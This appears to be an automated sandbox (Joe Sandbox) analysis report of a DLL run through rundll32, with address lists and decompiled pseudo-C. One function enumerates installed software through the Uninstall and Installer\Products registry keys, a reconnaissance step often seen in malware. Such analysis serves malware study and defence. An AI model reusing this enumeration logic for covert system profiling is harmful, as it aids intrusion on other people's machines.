0x7fef47271c9
0x7fef47271cb
0x7fef47271ce
0x7fef47271ce
0x7fef47271de
0x7fef47271e7
0x7fef47271f3
0x7fef4727202
0x7fef4727207
0x7fef4727210
0x7fef4727215
0x7fef4727217
0x7fef4727220
0x7fef4727227
0x7fef4727230
0x7fef4727236
0x7fef4727243
0x7fef4727245
0x7fef472724e
0x7fef4727252
0x7fef4727254
0x7fef4727256
0x7fef472725f
0x7fef4727261
0x7fef4727264
0x7fef472726e
0x7fef4727276
0x7fef4727280
0x7fef4727285
0x7fef4727296
0x7fef4727298
0x7fef472729f
0x7fef47272a4
0x7fef47272ae
0x7fef47272b3
0x7fef47272b3
0x7fef47272c3
0x7fef47272cc
0x7fef47272d8
0x7fef47272e3
0x7fef47272e8
0x7fef47272f1
0x7fef47272f6
0x7fef47272f8
0x7fef4727301
0x7fef4727308
0x7fef472730a
0x7fef4727310
0x7fef4727316
0x7fef4727323
0x7fef4727325
0x7fef472732e
0x7fef4727332
0x7fef4727334
0x7fef4727336
0x7fef472733f
0x7fef4727341
0x7fef4727344
0x7fef4727352
0x7fef4727364
0x7fef4727366
0x7fef472736d
0x7fef4727372
0x7fef472737c
0x7fef4727381
0x7fef4727381
0x7fef4727391
0x7fef472739a
0x7fef47273a6
0x7fef47273b1
0x7fef47273b6
0x7fef47273bf
0x7fef47273c4
0x7fef47273cf
0x7fef47273d6
0x7fef47273db
0x7fef47273de
0x7fef47273eb
0x7fef47273f2
0x7fef47273f6
0x7fef47273f8
0x7fef4727402
0x7fef4727404
0x7fef4727407
0x7fef4727415
0x7fef4727427
0x7fef4727430
0x7fef4727435
0x7fef472743f
0x7fef472744e
0x7fef4727459
0x7fef472745e
0x7fef4727462
0x7fef472746c
0x7fef4727473
0x7fef4727482
0x7fef4727484
0x7fef4727492
0x7fef472749d
0x7fef47274a3
0x7fef47274a8
0x7fef47274b0
0x7fef47274b4
0x7fef47274be
0x7fef47274c4
0x7fef47274c9
0x7fef47274d1
0x7fef47274d5
0x7fef47274df
0x7fef47274e5
0x7fef47274ea
0x7fef47274f2
0x7fef47274f6
0x7fef4727500
0x7fef4727506
0x7fef472750b
0x7fef4727514
0x7fef4727519
0x7fef4727520
0x7fef4727529
0x7fef4727554

Strings

yxxxxxxx, xrefs: 000007FEF4726F62
invalid vector<T> subscript, xrefs: 000007FEF472705D, 000007FEF472750D

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID:
String ID: invalid vector<T> subscript$yxxxxxxx
API String ID: 0-1808454608
Opcode ID: 21642a77f6fd2dad5594d7964938a3498a835c446ffcc76250b6474bef78feaf
Instruction ID: b5a1beee786b0b507c58e60e30ab9a57799bfd8d7ce1e87f004d57d8a35be112
Opcode Fuzzy Hash: 21642a77f6fd2dad5594d7964938a3498a835c446ffcc76250b6474bef78feaf
Instruction Fuzzy Hash: 2B02A122F1EB42C6EBA0CBA5C544BBD23E1F702788F404425DE1D67AE5DE78E655CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF472BE90 Relevance: .3, Instructions: 321
COMMONCrypto

Download Yara Rule

C-Code - Quality: 62%

			E000007FE7FEF472BE90(void* __ebx, int __ecx, void* __edx, void* __ebp, long long __rbx, short* __rcx, long long __rdx, long long __rdi, long long __rsi, signed long long __r8, signed int __r9) {
				void* __rbp;
				void* __r12;
				int _t185;
				void* _t187;
				void* _t188;
				void* _t190;
				void* _t213;
				signed long long _t214;
				signed long long _t223;
				long long _t229;
				long long _t230;
				long long _t301;
				long long _t302;
				long long _t305;
				void* _t307;
				signed long long _t308;
				signed long long _t315;
				signed long long _t316;
				signed long long _t317;
				signed long long _t318;
				signed long long _t319;
				signed long long _t320;
				signed long long _t321;
				signed long long _t322;
				signed long long _t323;
				signed long long _t324;
				signed long long _t325;
				signed long long _t326;
				signed long long _t327;
				signed long long _t328;
				signed long long _t329;
				signed long long _t330;
				signed long long _t331;
				signed long long _t332;
				signed long long _t333;
				signed long long _t334;
				signed long long _t335;
				long long _t341;
				intOrPtr* _t345;
				long long _t348;
				long long _t349;
				void* _t351;
				short* _t352;

				_t310 = __r8;
				_t300 = __rsi;
				_t185 = __ecx;
				if (__rcx == __rdx) goto 0xf472c444;
				_t213 = _t307;
				_t305 = _t213 - 0x128;
				_t308 = _t307 - 0x200;
				 *((long long*)(_t305 - 0x38)) = 0xfffffffe;
				 *((long long*)(_t213 + 0x10)) = __rbx;
				 *((long long*)(_t213 + 0x18)) = __rsi;
				 *((long long*)(_t213 + 0x20)) = __rdi;
				_t214 =  *0xf4777530; // 0xf9634ebbaa1d
				 *(_t305 + 0xf0) = _t214 ^ _t308;
				_t341 = __rdx;
				 *((long long*)(_t305 - 0x58)) = __rdx;
				_t352 = __rcx;
				_t345 = __rcx + 0x88;
				if (_t345 == __rdx) goto 0xf472c415;
				 *((long long*)(_t305 - 0x30)) = _t305 - 0x28;
				_t217 = _t308 + 0x20;
				 *((long long*)(_t305 - 0x40)) = _t308 + 0x20;
				r14d = 0;
				asm("o16 nop [eax+eax]");
				_t229 = _t345;
				 *((long long*)(_t305 + 0x78)) = 7;
				 *((long long*)(_t305 + 0x70)) = _t348;
				 *((intOrPtr*)(_t305 + 0x60)) = r14w;
				_t315 = __r9 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t305 + 0x60, _t345, __rsi, _t305, __r8, _t315);
				 *((long long*)(_t305 + 0x98)) = 7;
				 *((long long*)(_t305 + 0x90)) = _t348;
				 *((intOrPtr*)(_t305 + 0x80)) = r14w;
				_t316 = _t315 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t305 + 0x80, _t345 + 0x20, _t300, _t305, _t310, _t316);
				 *((long long*)(_t305 + 0xb8)) = 7;
				 *((long long*)(_t305 + 0xb0)) = _t348;
				 *((intOrPtr*)(_t305 + 0xa0)) = r14w;
				_t301 = _t345 + 0x40;
				_t317 = _t316 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t305 + 0xa0, _t301, _t301, _t305, _t310, _t317);
				 *((intOrPtr*)(_t305 + 0xc0)) =  *((intOrPtr*)(_t345 + 0x60));
				 *((long long*)(_t305 + 0xe0)) = 7;
				 *((long long*)(_t305 + 0xd8)) = _t348;
				 *((intOrPtr*)(_t305 + 0xc8)) = r14w;
				_t318 = _t317 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t305 + 0xc8, _t345 + 0x68, _t301, _t305, _t310, _t318);
				E000007FE7FEF4725E10(_t229, _t305 - 0x28, __rcx, _t301, _t318);
				 *((long long*)(_t308 + 0x38)) = 7;
				 *((long long*)(_t308 + 0x30)) = _t348;
				 *((intOrPtr*)(_t308 + 0x20)) = r14w;
				_t319 = _t318 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t308 + 0x20, _t305 + 0x60, _t301, _t305, _t310, _t319);
				 *((long long*)(_t308 + 0x58)) = 7;
				 *((long long*)(_t308 + 0x50)) = _t348;
				 *((intOrPtr*)(_t308 + 0x40)) = r14w;
				_t320 = _t319 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t308 + 0x40, _t305 + 0x80, _t301, _t305, _t310, _t320);
				 *((long long*)(_t308 + 0x78)) = 7;
				 *((long long*)(_t308 + 0x70)) = _t348;
				 *((intOrPtr*)(_t308 + 0x60)) = r14w;
				_t321 = _t320 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t308 + 0x60, _t305 + 0xa0, _t301, _t305, _t310, _t321);
				 *((intOrPtr*)(_t305 - 0x80)) =  *((intOrPtr*)(_t305 + 0xc0));
				 *((long long*)(_t305 - 0x60)) = 7;
				 *((long long*)(_t305 - 0x68)) = _t348;
				 *((intOrPtr*)(_t305 - 0x78)) = r14w;
				_t322 = _t321 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t305 - 0x78, _t305 + 0xc8, _t301, _t305, _t310, _t322); // executed
				if (E000007FE7FEF4724DD0(__ebx, _t229, _t308 + 0x20, _t308 + 0x20, _t341) == 0) goto 0xf472c15f;
				_t312 = _t345 + 0x88;
				E000007FE7FEF472F500(_t217, _t229, _t352, _t345, _t217, _t301, _t305, _t345 + 0x88, _t322, _t351, _t348);
				if (_t352 == _t305 + 0x60) goto 0xf472c0e3;
				_t323 = _t322 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t352, _t305 + 0x60, _t301, _t305, _t345 + 0x88, _t323);
				if (_t352 + 0x20 == _t305 + 0x80) goto 0xf472c106;
				_t324 = _t323 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t352 + 0x20, _t305 + 0x80, _t301, _t305, _t345 + 0x88, _t324);
				if (_t352 + 0x40 == _t305 + 0xa0) goto 0xf472c129;
				_t325 = _t324 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t352 + 0x40, _t305 + 0xa0, _t301, _t305, _t345 + 0x88, _t325);
				 *((intOrPtr*)(_t352 + 0x60)) =  *((intOrPtr*)(_t305 + 0xc0));
				if (_t352 + 0x68 == _t305 + 0xc8) goto 0xf472c365;
				_t326 = _t325 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t352 + 0x68, _t305 + 0xc8, _t301, _t305, _t312, _t326);
				goto 0xf472c365;
				 *((long long*)(_t305 - 0x50)) = _t305 - 0x28;
				_t223 = _t308 + 0x20;
				 *((long long*)(_t305 - 0x48)) = _t223;
				r12d = 0;
				asm("o16 nop [eax+eax]");
				_t302 = _t301 - 0x88;
				_t349 = _t302 - 0x40;
				E000007FE7FEF4725E10(_t229, _t305 - 0x28, _t349, _t302, _t326);
				 *((long long*)(_t308 + 0x38)) = 7;
				 *((long long*)(_t308 + 0x30)) = _t341;
				 *((intOrPtr*)(_t308 + 0x20)) = r12w;
				_t327 = _t326 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t308 + 0x20, _t305 + 0x60, _t302, _t305, _t312, _t327);
				 *((long long*)(_t308 + 0x58)) = 7;
				 *((long long*)(_t308 + 0x50)) = _t341;
				 *((intOrPtr*)(_t308 + 0x40)) = r12w;
				_t328 = _t327 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t308 + 0x40, _t305 + 0x80, _t302, _t305, _t312, _t328);
				 *((long long*)(_t308 + 0x78)) = 7;
				 *((long long*)(_t308 + 0x70)) = _t341;
				 *((intOrPtr*)(_t308 + 0x60)) = r12w;
				_t329 = _t328 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t308 + 0x60, _t305 + 0xa0, _t302, _t305, _t312, _t329);
				 *((intOrPtr*)(_t305 - 0x80)) =  *((intOrPtr*)(_t305 + 0xc0));
				 *((long long*)(_t305 - 0x60)) = 7;
				 *((long long*)(_t305 - 0x68)) = _t341;
				 *((intOrPtr*)(_t305 - 0x78)) = r12w;
				_t330 = _t329 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t305 - 0x78, _t305 + 0xc8, _t302, _t305, _t312, _t330);
				_t313 = _t223;
				if (E000007FE7FEF4724DD0(__ebx, _t229, _t308 + 0x20, _t223, _t341) == 0) goto 0xf472c2d0;
				if (_t229 == _t349) goto 0xf472c278;
				_t331 = _t330 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t229, _t349, _t302, _t305, _t223, _t331);
				if (_t229 + 0x20 == _t302 - 0x20) goto 0xf472c291;
				_t332 = _t331 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t229 + 0x20, _t302 - 0x20, _t302, _t305, _t223, _t332);
				if (_t229 + 0x40 == _t302) goto 0xf472c2a9;
				_t333 = _t332 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t229 + 0x40, _t302, _t302, _t305, _t223, _t333);
				 *((intOrPtr*)(_t229 + 0x60)) =  *((intOrPtr*)(_t302 + 0x20));
				if (_t229 + 0x68 == _t302 + 0x28) goto 0xf472c2c8;
				_t334 = _t333 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t229, _t229 + 0x68, _t302 + 0x28, _t302, _t305, _t313, _t334);
				_t230 = _t349;
				goto 0xf472c180;
				if (_t230 == _t305 + 0x60) goto 0xf472c2f0;
				_t335 = _t334 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t230, _t230, _t305 + 0x60, _t302, _t305, _t313, _t335);
				if (_t230 + 0x20 == _t305 + 0x80) goto 0xf472c313;
				_t336 = _t335 | 0xffffffff;
				r8d = 0;
				E000007FE7FEF4728440(_t230, _t230 + 0x20, _t305 + 0x80, _t302, _t305, _t313, _t335 | 0xffffffff);
				if (_t230 + 0x40 == _t305 + 0xa0) goto 0xf472c336;
				r8d = 0;
				E000007FE7FEF4728440(_t230, _t230 + 0x40, _t305 + 0xa0, _t302, _t305, _t313, _t336 | 0xffffffff);
				 *((intOrPtr*)(_t230 + 0x60)) =  *((intOrPtr*)(_t305 + 0xc0));
				if (_t230 + 0x68 == _t305 + 0xc8) goto 0xf472c362;
				r8d = 0;
				E000007FE7FEF4728440(_t230, _t230 + 0x68, _t305 + 0xc8, _t302, _t305, _t313, _t336 | 0xffffffffffffffff);
				r14d = 0;
				if ( *((long long*)(_t305 + 0xe0)) - 8 < 0) goto 0xf472c37b;
				E000007FE7FEF4741974( *((intOrPtr*)(_t305 + 0xc8)));
				 *((long long*)(_t305 + 0xe0)) = 7;
				 *((long long*)(_t305 + 0xd8)) = _t349;
				 *((intOrPtr*)(_t305 + 0xc8)) = r14w;
				if ( *((long long*)(_t305 + 0xb8)) - 8 < 0) goto 0xf472c3ab;
				E000007FE7FEF4741974( *((intOrPtr*)(_t305 + 0xa0)));
				 *((long long*)(_t305 + 0xb8)) = 7;
				 *((long long*)(_t305 + 0xb0)) = _t349;
				 *((intOrPtr*)(_t305 + 0xa0)) = r14w;
				if ( *((long long*)(_t305 + 0x98)) - 8 < 0) goto 0xf472c3db;
				E000007FE7FEF4741974( *((intOrPtr*)(_t305 + 0x80)));
				 *((long long*)(_t305 + 0x98)) = 7;
				 *((long long*)(_t305 + 0x90)) = _t349;
				 *((intOrPtr*)(_t305 + 0x80)) = r14w;
				if ( *((long long*)(_t305 + 0x78)) - 8 < 0) goto 0xf472c405;
				E000007FE7FEF4741974( *((intOrPtr*)(_t305 + 0x60)));
				if (_t345 + 0x88 !=  *((intOrPtr*)(_t305 - 0x58))) goto 0xf472bf10;
				return E000007FE7FEF4740F90(_t185, _t187, _t188, _t190,  *(_t305 + 0xf0) ^ _t308, _t305 + 0xc8, _t313);
			}

0x7fef472be90
0x7fef472be90
0x7fef472be90
0x7fef472be93
0x7fef472be99
0x7fef472bea5
0x7fef472beac
0x7fef472beb3
0x7fef472bebb
0x7fef472bebf
0x7fef472bec3
0x7fef472bec7
0x7fef472bed1
0x7fef472bed8
0x7fef472bedb
0x7fef472bedf
0x7fef472bee2
0x7fef472beec
0x7fef472bef6
0x7fef472befa
0x7fef472beff
0x7fef472bf03
0x7fef472bf06
0x7fef472bf10
0x7fef472bf13
0x7fef472bf1b
0x7fef472bf1f
0x7fef472bf24
0x7fef472bf28
0x7fef472bf32
0x7fef472bf38
0x7fef472bf43
0x7fef472bf4a
0x7fef472bf56
0x7fef472bf5a
0x7fef472bf64
0x7fef472bf6a
0x7fef472bf75
0x7fef472bf7c
0x7fef472bf84
0x7fef472bf88
0x7fef472bf8c
0x7fef472bf99
0x7fef472bfa3
0x7fef472bfa9
0x7fef472bfb4
0x7fef472bfbb
0x7fef472bfc7
0x7fef472bfcb
0x7fef472bfd5
0x7fef472bfe2
0x7fef472bfea
0x7fef472bff3
0x7fef472bff8
0x7fef472bffe
0x7fef472c002
0x7fef472c00e
0x7fef472c014
0x7fef472c01d
0x7fef472c022
0x7fef472c028
0x7fef472c02c
0x7fef472c03b
0x7fef472c041
0x7fef472c04a
0x7fef472c04f
0x7fef472c055
0x7fef472c059
0x7fef472c068
0x7fef472c074
0x7fef472c077
0x7fef472c07f
0x7fef472c083
0x7fef472c088
0x7fef472c08c
0x7fef472c09a
0x7fef472c0af
0x7fef472c0b5
0x7fef472c0c2
0x7fef472c0ce
0x7fef472c0d0
0x7fef472c0d4
0x7fef472c0de
0x7fef472c0f1
0x7fef472c0f3
0x7fef472c0f7
0x7fef472c101
0x7fef472c114
0x7fef472c116
0x7fef472c11a
0x7fef472c124
0x7fef472c12f
0x7fef472c141
0x7fef472c147
0x7fef472c14b
0x7fef472c155
0x7fef472c15a
0x7fef472c163
0x7fef472c167
0x7fef472c16c
0x7fef472c170
0x7fef472c177
0x7fef472c180
0x7fef472c187
0x7fef472c192
0x7fef472c19a
0x7fef472c1a3
0x7fef472c1a8
0x7fef472c1ae
0x7fef472c1b2
0x7fef472c1be
0x7fef472c1c4
0x7fef472c1cd
0x7fef472c1d2
0x7fef472c1d8
0x7fef472c1dc
0x7fef472c1eb
0x7fef472c1f1
0x7fef472c1fa
0x7fef472c1ff
0x7fef472c205
0x7fef472c209
0x7fef472c218
0x7fef472c224
0x7fef472c227
0x7fef472c22f
0x7fef472c233
0x7fef472c238
0x7fef472c23c
0x7fef472c24a
0x7fef472c250
0x7fef472c25f
0x7fef472c264
0x7fef472c266
0x7fef472c26a
0x7fef472c273
0x7fef472c283
0x7fef472c285
0x7fef472c289
0x7fef472c28c
0x7fef472c298
0x7fef472c29a
0x7fef472c29e
0x7fef472c2a4
0x7fef472c2ac
0x7fef472c2ba
0x7fef472c2bc
0x7fef472c2c0
0x7fef472c2c3
0x7fef472c2c8
0x7fef472c2cb
0x7fef472c2db
0x7fef472c2dd
0x7fef472c2e1
0x7fef472c2eb
0x7fef472c2fe
0x7fef472c300
0x7fef472c304
0x7fef472c30e
0x7fef472c321
0x7fef472c327
0x7fef472c331
0x7fef472c33c
0x7fef472c34d
0x7fef472c353
0x7fef472c35d
0x7fef472c362
0x7fef472c36d
0x7fef472c376
0x7fef472c37b
0x7fef472c386
0x7fef472c38d
0x7fef472c39d
0x7fef472c3a6
0x7fef472c3ab
0x7fef472c3b6
0x7fef472c3bd
0x7fef472c3cd
0x7fef472c3d6
0x7fef472c3db
0x7fef472c3e6
0x7fef472c3ed
0x7fef472c3fa
0x7fef472c400
0x7fef472c40f
0x7fef472c444

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10fb3e274030960c38d4eec0d9ee1945a12a37003e35e293aecdb686fe5b65b6
Instruction ID: 94e1634dc7c1bd02b0f0b02d8b564f168a15db05327052f93288a6e5940c3e4e
Opcode Fuzzy Hash: 10fb3e274030960c38d4eec0d9ee1945a12a37003e35e293aecdb686fe5b65b6
Instruction Fuzzy Hash: 28F15F3261AA95CAE7A0DF34D840BE927A4F741378F805325DA7C17AE9DF79E604CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4724880 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 302
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E000007FE7FEF4724880(long long __rbx, long long __rdi, long long __rsi, signed long long __r9) {
				void* __rbp;
				signed char _t93;
				signed char _t113;
				signed char _t123;
				signed int _t138;
				void* _t144;
				signed char _t146;
				signed int _t148;
				signed char _t150;
				void* _t154;
				void* _t155;
				void* _t182;
				signed long long _t183;
				signed long long _t184;
				long long _t194;
				short* _t196;
				void* _t200;
				signed long long _t267;
				signed long long _t268;
				signed long long _t269;
				long long* _t271;
				void* _t272;
				signed long long _t273;
				void* _t275;
				signed long long _t284;
				signed long long _t288;
				signed long long _t289;
				signed long long _t293;

				_t284 = __r9;
				_t266 = __rsi;
				_t182 = _t272;
				_t271 = _t182 - 0x38;
				_t273 = _t272 - 0x110;
				 *((long long*)(_t271 - 0x58)) = 0xfffffffe;
				 *((long long*)(_t182 + 8)) = __rbx;
				 *((long long*)(_t182 + 0x10)) = __rsi;
				 *((long long*)(_t182 + 0x18)) = __rdi;
				_t183 =  *0xf4777530; // 0xf9634ebbaa1d
				_t184 = _t183 ^ _t273;
				 *(_t271 + 8) = _t184;
				E000007FE7FEF4741BDC(_t184, _t200);
				if (_t184 == 0) goto 0xf47248da;
				 *_t184 = __rdi;
				 *((long long*)(_t184 + 8)) = __rdi;
				 *((long long*)(_t184 + 0x10)) = __rdi;
				goto 0xf47248dd;
				 *((long long*)(_t273 + 0x60)) = 7;
				 *((long long*)(_t273 + 0x58)) = __rdi;
				 *((short*)(_t273 + 0x48)) = 0;
				r8d = 0x23;
				E000007FE7FEF4728E10(__rdi, _t273 + 0x48, L"Software\\Classes\\Installer\\Products", __rsi, _t275);
				_t93 =  *0xf477b25c; // 0x1
				if ((_t93 & 0x00000001) != 0) goto 0xf4724947;
				 *0xf477b25c = _t93 | 0x00000001;
				 *0xf477b260 = _t184;
				 *0xf477b268 = _t184;
				 *0xf477b268 = 0x80000002;
				 *0xf477b260 = 0;
				E000007FE7FEF4741930(_t93 & 0x00000001, _t184); // executed
				E000007FE7FEF4732660(__rdi, 0xf477b260, _t273 + 0x48, _t266); // executed
				_t293 = _t184;
				 *((long long*)(_t271 - 0x80)) = 7;
				 *((long long*)(_t273 + 0x78)) = __rdi;
				 *((short*)(_t273 + 0x68)) = 0;
				r8d = 0x33;
				E000007FE7FEF4728E10(__rdi, _t273 + 0x68, L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", _t266, _t275);
				_t146 =  *0xf477b25c; // 0x1
				if ((_t146 & 0x00000001) != 0) goto 0xf47249c5;
				 *0xf477b25c = _t146 | 0x00000001;
				 *0xf477b260 = _t184;
				 *0xf477b268 = _t184;
				 *0xf477b268 = 0x80000002;
				 *0xf477b260 = 0;
				E000007FE7FEF4741930(_t146 & 0x00000001, _t184);
				E000007FE7FEF4732580(__rdi, 0xf477b260, _t273 + 0x68, _t266); // executed
				_t288 = _t184;
				E000007FE7FEF4725EE0(__rdi, _t184, _t293, __rdi); // executed
				 *((long long*)(_t271 - 0x60)) = 7;
				 *((long long*)(_t271 - 0x68)) = __rdi;
				 *((short*)(_t271 - 0x78)) = 0;
				r8d = 0x33;
				E000007FE7FEF4728E10(_t184, _t271 - 0x78, L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", _t266, __rdi);
				_t150 =  *0xf477b25c; // 0x1
				if ((_t150 & 0x00000001) != 0) goto 0xf4724a51;
				 *0xf477b25c = _t150 | 0x00000001;
				 *0xf477b260 = _t184;
				 *0xf477b268 = _t184;
				 *0xf477b268 = 0x80000002;
				 *0xf477b260 = 0;
				E000007FE7FEF4741930(_t150 & 0x00000001, _t184);
				E000007FE7FEF47324A0(_t184, 0xf477b260, _t271 - 0x78, _t266); // executed
				_t289 = _t184;
				E000007FE7FEF4725EE0(_t184, _t184, _t293, _t184); // executed
				 *(_t271 - 0x50) = _t184;
				 *(_t271 - 0x48) = _t184;
				 *(_t271 - 0x40) = _t184;
				_t148 =  *0xf477b258; // 0x1
				if ((_t148 & 0x00000001) != 0) goto 0xf4724ac2;
				 *0xf477b258 = _t148 | 0x00000001;
				 *0xf477b248 = _t184;
				 *0xf477b250 = _t184;
				 *0xf477b250 = 0x80000003;
				 *0xf477b248 = 0;
				E000007FE7FEF4741930(_t148 & 0x00000001, _t184); // executed
				E000007FE7FEF4732840(_t184, 0xf477b248, _t271 - 0x50); // executed
				_t194 =  *(_t271 - 0x50);
				if (_t194 ==  *(_t271 - 0x48)) goto 0xf4724ca7;
				E000007FE7FEF4729560(_t184, _t194, _t271 - 0x18, _t194, _t271, L"\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", _t284);
				 *((long long*)(_t273 + 0x40)) = 7;
				 *((long long*)(_t273 + 0x38)) = __rdi;
				 *((short*)(_t273 + 0x28)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t194, _t273 + 0x28, _t271 - 0x18, _t266, _t271, L"\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", _t284 | 0xffffffff);
				_t113 =  *0xf477b258; // 0x1
				if ((_t113 & 0x00000001) != 0) goto 0xf4724b5d;
				 *0xf477b258 = _t113 | 0x00000001;
				 *0xf477b248 = _t184;
				 *0xf477b250 = _t184;
				 *0xf477b250 = 0x80000003;
				 *0xf477b248 = 0;
				E000007FE7FEF4741930(_t113 & 0x00000001, _t184);
				E000007FE7FEF4732660(_t194, 0xf477b248, _t273 + 0x28, _t266); // executed
				_t267 = _t184;
				E000007FE7FEF4725EE0(_t194, _t184, _t293, _t184);
				if (_t267 == 0) goto 0xf4724ba6;
				if ( *((intOrPtr*)(_t267 + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4724b9e;
				RegCloseKey(??);
				E000007FE7FEF4741974(_t267);
				E000007FE7FEF4729560(_t184, _t194, _t271 - 0x38, _t194, _t271, L"\\Software\\Microsoft\\Installer\\Products", _t284 | 0xffffffff);
				 *((long long*)(_t273 + 0x40)) = 7;
				 *((long long*)(_t273 + 0x38)) = __rdi;
				 *((short*)(_t273 + 0x28)) = 0;
				r8d = 0;
				E000007FE7FEF4728440(_t194, _t273 + 0x28, _t271 - 0x38, _t267, _t271, L"\\Software\\Microsoft\\Installer\\Products", _t284 | 0xffffffffffffffff);
				_t123 =  *0xf477b258; // 0x1
				if ((_t123 & 0x00000001) != 0) goto 0xf4724c22;
				 *0xf477b258 = _t123 | 0x00000001;
				 *0xf477b248 = _t184;
				 *0xf477b250 = _t184;
				 *0xf477b250 = 0x80000003;
				 *0xf477b248 = 0;
				E000007FE7FEF4741930(_t123 & 0x00000001, _t184);
				E000007FE7FEF4732660(_t194, 0xf477b248, _t273 + 0x28, _t267); // executed
				_t268 = _t184;
				E000007FE7FEF4724FF0(_t144, _t194, _t184, _t184, L"\\Software\\Microsoft\\Installer\\Products");
				if (_t268 == 0) goto 0xf4724c69;
				if ( *((intOrPtr*)(_t268 + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4724c60;
				RegCloseKey(??);
				E000007FE7FEF4741974(_t268);
				if ( *((long long*)(_t271 - 0x20)) - 8 < 0) goto 0xf4724c79;
				E000007FE7FEF4741974( *((intOrPtr*)(_t271 - 0x38)));
				 *((long long*)(_t271 - 0x20)) = 7;
				 *((long long*)(_t271 - 0x28)) = __rdi;
				 *((short*)(_t271 - 0x38)) = 0;
				if ( *_t271 - 8 < 0) goto 0xf4724c99;
				E000007FE7FEF4741974( *((intOrPtr*)(_t271 - 0x18)));
				if (_t194 + 0x20 !=  *(_t271 - 0x48)) goto 0xf4724ae1;
				if (_t289 == 0) goto 0xf4724ccb;
				if ( *((intOrPtr*)(_t289 + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4724cc3; // executed
				RegCloseKey(??); // executed
				E000007FE7FEF4741974(_t289);
				if (_t288 == 0) goto 0xf4724cf0;
				if ( *((intOrPtr*)(_t288 + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4724ce8;
				RegCloseKey(??);
				E000007FE7FEF4741974(_t288);
				if (_t293 == 0) goto 0xf4724d14;
				if ( *((intOrPtr*)(_t293 + 8)) + 0x7ffffffe - 1 <= 0) goto 0xf4724d0c;
				RegCloseKey(??);
				_t138 = E000007FE7FEF4741974(_t293);
				r9d =  *(_t273 + 0x20) & 0x000000ff;
				E000007FE7FEF4729810(_t138 * ( *((intOrPtr*)(_t184 + 8)) -  *_t184), _t194 + 0x20,  *_t184,  *((intOrPtr*)(_t184 + 8)), _t268, _t271, ( *((intOrPtr*)(_t184 + 8)) -  *_t184 >> 6 >> 0x3f) + ( *((intOrPtr*)(_t184 + 8)) -  *_t184 >> 6)); // executed
				_t196 =  *(_t271 - 0x50);
				if (_t196 == 0) goto 0xf4724d93;
				_t269 =  *(_t271 - 0x48);
				if (_t196 == _t269) goto 0xf4724d8b;
				if ( *((long long*)(_t196 + 0x18)) - 8 < 0) goto 0xf4724d6f;
				E000007FE7FEF4741974( *_t196);
				 *((long long*)(_t196 + 0x18)) = 7;
				 *((long long*)(_t196 + 0x10)) = __rdi;
				 *_t196 = 0;
				if (_t196 + 0x20 != _t269) goto 0xf4724d60;
				E000007FE7FEF4741974( *(_t271 - 0x50));
